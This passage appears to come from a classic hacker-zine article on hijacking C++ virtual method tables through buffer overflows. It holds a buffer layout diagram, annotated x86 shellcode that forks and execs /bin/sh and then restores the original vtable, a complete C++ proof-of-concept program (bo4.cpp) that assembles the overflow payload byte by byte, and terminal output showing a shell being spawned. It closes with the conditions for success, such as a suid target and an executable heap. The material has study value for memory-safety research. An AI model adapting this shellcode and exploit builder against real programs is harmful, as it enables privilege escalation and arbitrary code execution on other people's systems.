overwritten in any case by our method's return value.
- we cannot include any 00h byte in our buffer. We then should regenerate
these bytes (necessary for our strings) at run time.
While applying all these important points, we are going to try to construct a
buffer according to the following diagram:
+------------------------------------<-(1)---------------------------------+
| our VTABLE |
=+=================== ==+=
9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL
==+= ==+= | | | ========
| | | | | \
| +-->--+ | | \(a copy on the stack)
| | | ========
+---(2)-->--------+ | BBB... B
| | |
+-(3)->+ +--> old method
Where: 9 represent NOP bytes (90h).
T represents bytes forming the word of the offset who will be added to
the pointer on the stack (strange handling ;).
M represents the address in our buffer of the beginning of our
shellcode.
S represents the address in our buffer of the "/bin/sh" string.
0 represented 90h bytes, who will be initialized to 00h at run time
(necessary for exec ()).
/bin/sh represents the "/bin/sh" string, without any 00h termination
byte.
A represents a byte of our shellcode (principally to run the shell, then
to copy the stackcode on the stack and to run it).
B represents a byte of our stackcode (principally to reset our buffer
with a new string, and to run the original method to continue the
execution of the original program.
newstring represents the "newstring" string, that will be recopied in
the buffer after execution of the shell, to continue the execution.
V represents a byte of the VPTR, that must point back to the beginning
of our buffer (to our VTABLE).
L represents the byte that will be copy after the VPTR, and that will
be a 0hh byte.
In a more detailed manner, here are the content of our shellcode and
stackcode:
pushl %ebp //save existing EBP
movl %esp,%ebp //stack frame creation
xorl %eax,%eax //EAX=0
movb $0x31,%al //EAX=$StackCodeSize (size of the code
// who will be copied to the stack)
subl %eax,%esp //creation of a local variable to
// contain our stackcode
pushl %edi
pushl %esi
pushl %edx
pushl %ecx
pushl %ebx //save registers
pushf //save flags
cld //direction flag=incrementation
xorl %eax,%eax //EAX=0
movw $0x101,%ax //EAX=$AddThis (value added for
// calculating This on the stack)
subl %eax,0x8(%ebp) //we substract this value from the
// current This value on the stack, to
// restore the original This.
xorl %eax,%eax //EAX=0
movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset
// (address of NULL dword in our
// buffer)
stosl %eax,%es:(%edi) //we write this NULL in the buffer
movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset
// (address of 00h from "/bin/sh")
stosb %al,%es:(%edi) //we write this 00h at the end of
// "/bin/sh"
movb $0x2,%al
int $0x80 //fork()
xorl %edx,%edx //EDX=0
cmpl %edx,%eax
jne 0x804a8c1 //if EAX=0 then jump to LFATHER
// (EAX=0 if father process)
movb $0xb,%al //else we are the child process
movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset
// (address of "/bin/sh")
movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset
// (adresse of address of "/bin/sh")
xorl %edx,%edx //EDX=0h (NULL)
int $0x80 //exec() "/bin/sh"
LFATHER:
movl %edx,%esi //ESI=0
movl %edx,%ecx //ECX=0
movl %edx,%ebx //EBX=0
notl %ebx //EBX=0xFFFFFFFF
movl %edx,%eax //EAX=0
movb $0x72,%al //EAX=0x72
int $0x80 //wait() (wait an exit from the shell)
xorl %ecx,%ecx //ECX=0
movb $0x31,%cl //ECX=$StackCodeSize
movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset
// (address of beginning of the
// stackcode)
movl %ebp,%edi //EDI point to the end of or local
// variable
subl %ecx,%edi //EDI point to the beginning of or
// local variable
movl %edi,%edx //EDX also point to the beginning of
// or local variable
repz movsb %ds:(%esi),%es:(%edi) //copy our stackcode into our local
// variable on the stack
jmp *%edx //run our stackcode on the stack
stackcode:
movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset
// (point to the new string we want to
// rewrite in the buffer)
movl $0x804a860,%edi //EDI=$BufferAddress (point to the
// beginning of our buffer)
xorl %ecx,%ecx //ECX=0
movb $0x9,%cl //ECX=$NewBufferSize (length of the
// new string)
repz movsb %ds:(%esi),%es:(%edi) //copy the new string at the
// beginning of our buffer
xorb %al,%al //AL=0
stosb %al,%es:(%edi) //put a 00h at the end of the string
movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset
// (address of VPTR)
movl $0x8049730,%eax //EAX=$VTABLEAddress (adresse of the
// original VTABLE from our class)
movl %eax,%ebx //EBX=$VTABLEAddress
stosl %eax,%es:(%edi) //correct the VPTR to point to the
// original VTABLE
movb $0x29,%al //AL=$LastByte (byte following the
// VPTR in memory)
stosb %al,%es:(%edi) //we correct this byte
movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4
// (EAX take the address of the
// original method in the original
// VTABLE).
popf
popl %ebx
popl %ecx
popl %edx
popl %esi
popl %edi //restore flags and registers
movl %ebp,%esp
popl %ebp //destroy the stack frame
jmp *%eax //run the original method
We now must code a BufferOverflow() function that is going to "compile" us the
shellcode and the stackcode, and to create the structure of our buffer.
Here are parameters that we should pass to this function:
- BufferAddress = address of our buffer in memory.
- IAddress = index in the VTABLE of the 1st method that will be executed.
- VPTROffset = offset in our buffer of the VPTR to overwrite.
- AddThis = value that will be added to the This pointer on the stack, because
of the "strange handling".
- VTABLEAddress = address of the original VTABLE of our class (coded in the
executable).
- *NewBuffer = a pointer to the new chain that we want to place in our buffer
to normally continue the program.
- LastByte = the original byte following the VPTR in memory, that is
overwritten at the time of the copy of our buffer in the original buffer,
because of the 00h.
Here is the resulting code of the program (bo4.cpp):
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#define BUFFERSIZE 256
class BaseClass {
private:
char Buffer[BUFFERSIZE];
public:
void SetBuffer(char *String) {
strcpy(Buffer,String);
}
virtual void PrintBuffer() {
printf("%s\n",Buffer);
}
};
class MyClass1:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) {
char *CBuf;
unsigned long *LBuf;
unsigned short *SBuf;
char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize;
unsigned long i,
MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset,
ShellCodeOffset,StackCodeOffset,
NewBufferOffset,NewBuffer00Offset,
LastByteOffset;
char *BinSh="/bin/sh";
CBuf=(char*)malloc(VPTROffset+4+1);
LBuf=(unsigned long*)CBuf;
BinShSize=(char)strlen(BinSh);
ShellCodeSize=0x62;
StackCodeSize=0x91+2-0x62;
NewBufferSize=(char)strlen(NewBuffer);
MethodAddressOffset=IAddress*4;
BinShAddressOffset=MethodAddressOffset+4;
NullOffset=MethodAddressOffset+8;
BinShOffset=MethodAddressOffset+12;
BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
ShellCodeOffset=BinSh00Offset+1;
StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize;
NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize;
NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize;
LastByteOffset=VPTROffset+4;
for (i=0;i<VPTROffset;i++) CBuf[i]='\x90'; //NOPs
SBuf=(unsigned short*)&LBuf[2];
*SBuf=AddThis; //added to the This pointer on the stack
LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
*LBuf=BufferAddress+ShellCodeOffset; //shellcode's address
LBuf=(unsigned long*)&CBuf[BinShAddressOffset];
*LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"
memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string
//shellcode:
i=ShellCodeOffset;
CBuf[i++]='\x55'; //pushl %ebp
CBuf[i++]='\x89';CBuf[i++]='\xE5'; //movl %esp,%ebp
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
CBuf[i++]='\xB0';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%al
CBuf[i++]='\x29';CBuf[i++]='\xC4'; //subl %eax,%esp
CBuf[i++]='\x57'; //pushl %edi
CBuf[i++]='\x56'; //pushl %esi
CBuf[i++]='\x52'; //pushl %edx
CBuf[i++]='\x51'; //pushl %ecx
CBuf[i++]='\x53'; //pushl %ebx
CBuf[i++]='\x9C'; //pushf
CBuf[i++]='\xFC'; //cld
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
CBuf[i++]='\x66';CBuf[i++]='\xB8'; //movw $AddThis,%ax
SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2;
CBuf[i++]='\x29';CBuf[i++]='\x45';CBuf[i++]='\x08'; //subl %eax,0x8(%ebp)
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
CBuf[i++]='\xBF'; //movl $BufferAddress+$NullOffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;
CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
CBuf[i++]='\xBF'; //movl $BufferAddress+$BinSh00Offset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='\xB0';CBuf[i++]='\x02'; //movb $0x2,%al
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (fork())
CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
CBuf[i++]='\x39';CBuf[i++]='\xD0'; //cmpl %edx,%eax
CBuf[i++]='\x75';CBuf[i++]='\x10'; //jnz +$0x10 (-> LFATHER)
CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al
CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4;
CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4;
CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve())
//LFATHER:
CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi
CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx
CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx
CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx
CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax
CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait())
CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl
CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4;
CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi
CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi
CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx
CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode)
//stackcode:
CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4;
CBuf[i++]='\xBF'; //movl $BufferAddress,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4;
CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl
CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4;
CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax
LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4;
CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx
CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='\x8B';CBuf[i++]='\x43';
CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax
CBuf[i++]='\x9D'; //popf
CBuf[i++]='\x5B'; //popl %ebx
CBuf[i++]='\x59'; //popl %ecx
CBuf[i++]='\x5A'; //popl %edx
CBuf[i++]='\x5E'; //popl %esi
CBuf[i++]='\x5F'; //popl %edi
CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp
CBuf[i++]='\x5D'; //popl %ebp
CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax
memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize);
//insert the new string into the buffer
LBuf=(unsigned long*)&CBuf[VPTROffset];
*LBuf=BufferAddress; //address of our VTABLE
CBuf[LastByteOffset]=0; //last byte (for strcpy())
return CBuf;
}
void main() {
BaseClass *Object[2];
unsigned long *VTABLEAddress;
Object[0]=new MyClass1;
Object[1]=new MyClass2;
printf("Object[0] address = %X\n",(unsigned long)&(*Object[0]));
VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256);
printf("VTable address = %X\n",*VTABLEAddress);
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE,
0x0101,*VTABLEAddress,"newstring",0x29));
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
Now, we are ready to compile and to check...
rix@pentium:~/BO > gcc -o bo4 bo4.cpp
rix@pentium:~/BO > bo4
adresse Object[0] = 804A860
adresse VTable = 8049730
sh-2.02$ exit
exit
MyClass1: newstring
MyClass2: string2
rix@pentium:~/BO >
And as foreseen, our shell executes himself, then the program continue its
execution, with a new string in the buffer ("newstring ")!!!
Conclusion
==========
To summarize, let's note that the basis technique requires the following
conditions for success:
- a buffer of a certain minimal size
- suid program
- executable heap and/or executable stack (according to techniques)
- to know the address of the beginning of the buffer (on the heap or on the
stack)
- to know the offset from the beginning of the buffer of the VPTR (fixed for
all executions)
- to know the offset in the VTABLE of the pointer to the 1st method executed
after the overflow (fixed for all executions)
- to know the address of the VTABLE if we want to continue the execution of
the program correctly.
I hope this article will have once again show you how pointers (more and more
used in modern programming ) can be very dangerous in some particular cases.
We notice that some languages as powerful as C++, always include some
weakness, and that this is not with a particular language or tools that a
program becomes secured, but mainly because of the knowledge and expertise
of its conceivers...
Thanks to: route, klog, mayhem, nite, darkbug.
|EOF|-------------------------------------------------------------------------|